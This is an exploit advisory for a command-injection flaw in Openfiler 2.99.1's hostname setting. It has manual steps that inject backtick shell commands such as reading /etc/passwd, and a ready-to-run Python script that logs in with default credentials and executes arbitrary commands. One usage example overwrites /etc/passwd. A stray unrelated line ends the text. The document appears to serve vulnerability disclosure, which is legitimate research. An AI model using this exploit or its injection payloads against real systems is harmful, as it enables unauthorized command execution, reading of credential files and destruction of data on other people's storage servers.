# Exploit Title: Arbitrary Code Execution in Openfiler # Exploit author: Dolev Farhi @f1nhack # Date 07/05/2014 # Vendor homepage: http://www.openfiler.com # Affected Software version: 2.99.1 # Alerted vendor: 7.5.14 Software Description ===================== Openfiler is a network storage operating system. With the features we built into Openfiler, you can take advantage of file-based Network Attached Storage and block-based Storage Area Networking functionality in a single cohesive framework. Vulnerability Description ========================= Arbitrary code execution Steps to reproduce / PoC: ========================= 1.1. Login to Openfiler dashboard. 1.2. Under system tab -> Hostname 1.3. Enter any shell command you desire using the backticks ` ` e.g. `cat /etc/passwd` 1.4. the code reflects in the hostname value space <-> PoC Video: https://www.youtube.com/watch?v=NzjB9U_0yLE&feature=youtu.be #!/usr/bin/env python # Exploit Title: Openfiler Remote Code Execution # Date 21/12/2014 # Affected Software version: 2.99.1 # Alerted vendor: 7.5.14 # Quick and dirty exploit # usage: python openfiler_RCE.py <Command> # Author: Dolev Farhi @dolevff import sys import urllib import urllib2 import cookielib server = 'ip.add.re.ss' username = 'openfiler' password = 'password' timeout = 6 command = '`' + ' '.join(sys.argv[1:]) + '`' if len(sys.argv[1:]) == 0: print 'Missing argument (command)' print 'example: python openfilerRCE.py echo > /etc/passwd' sys.exit(0) try: cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) login_data = urllib.urlencode({'username' : username, 'password' : password}) opener.open('https://' + server + ':446/account/login.html', login_data, timeout=timeout) payload = urllib.urlencode({'hostname' : command,'netconf' : 'Update'}) url = 'https://%s:446/admin/system.html' % (server) resp = opener.open(url) if 'logout.html' in resp.read(): opener.open('https://' + server + ':446/admin/system.html', payload) print ('Executed %s :-)' %(command)) sys.exit(0) except urllib2.URLError, e: print 'Error: %s' %(e.reason) sys.exit(1) except Exception, e: print 'Error: possibily invalid credentials, try again.' sys.exit(1)
体验盒子